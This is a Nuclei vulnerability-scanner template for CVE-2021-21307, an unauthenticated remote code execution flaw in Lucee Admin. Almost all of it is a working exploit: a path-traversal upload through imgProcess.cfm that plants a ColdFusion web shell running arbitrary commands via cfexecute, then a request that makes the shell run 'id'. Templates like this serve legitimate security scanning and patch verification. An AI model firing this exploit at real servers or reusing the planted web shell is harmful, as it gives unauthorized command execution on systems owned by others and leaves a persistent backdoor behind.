nuclei-templates/cves/2021/CVE-2021-21307.yaml

89 lines
2.7 KiB
YAML

id: CVE-2021-21307
info:
name: Lucee Admin - Remote Code Execution
author: dhiyaneshDk
severity: critical
description: Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 contains an unauthenticated remote code execution vulnerability.
reference:
- https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r
- https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-21307
remediation: This is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, block access to the Lucee Administrator.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-21307
cwe-id: CWE-862
tags: cve,cve2021,rce,lucee,adobe
requests:
- raw:
- |
POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
imgSrc=a
- |
POST /lucee/admin/imgProcess.cfm?file=/../../../context/{{randstr}}.cfm HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
imgSrc=
<cfoutput>
<table>
<form method="POST" action="">
<tr><td>Command:</td><td><input type=test name="cmd" size=50
<cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
<tr><td>Options:</td><td> <input type=text name="opts" size=50
<cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
<tr><td>Timeout:</td><td> <input type=text name="timeout" size=4
<cfif isdefined("form.timeout")>value="#form.timeout#"
<cfelse> value="5"</cfif>></td></tr>
</table>
<input type=submit value="Exec" >
</form>
<cfif isdefined("form.cmd")>
<cfsavecontent variable="myVar">
<cfexecute name = "#Form.cmd#"
arguments = "#Form.opts#"
timeout = "#Form.timeout#">
</cfexecute>
</cfsavecontent>
<pre>
#HTMLCodeFormat(myVar)#
</pre>
</cfif>
</cfoutput>
- |
POST /lucee/{{randstr}}.cfm HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
cmd=id&opts=&timeout=5
matchers-condition: and
matchers:
- type: word
words:
- "uid="
- "gid="
- "groups="
part: body
condition: and
- type: status
status:
- 200
extractors:
- type: regex
regex:
- "(u|g)id=.*"
# Enhanced by mp on 2022/05/05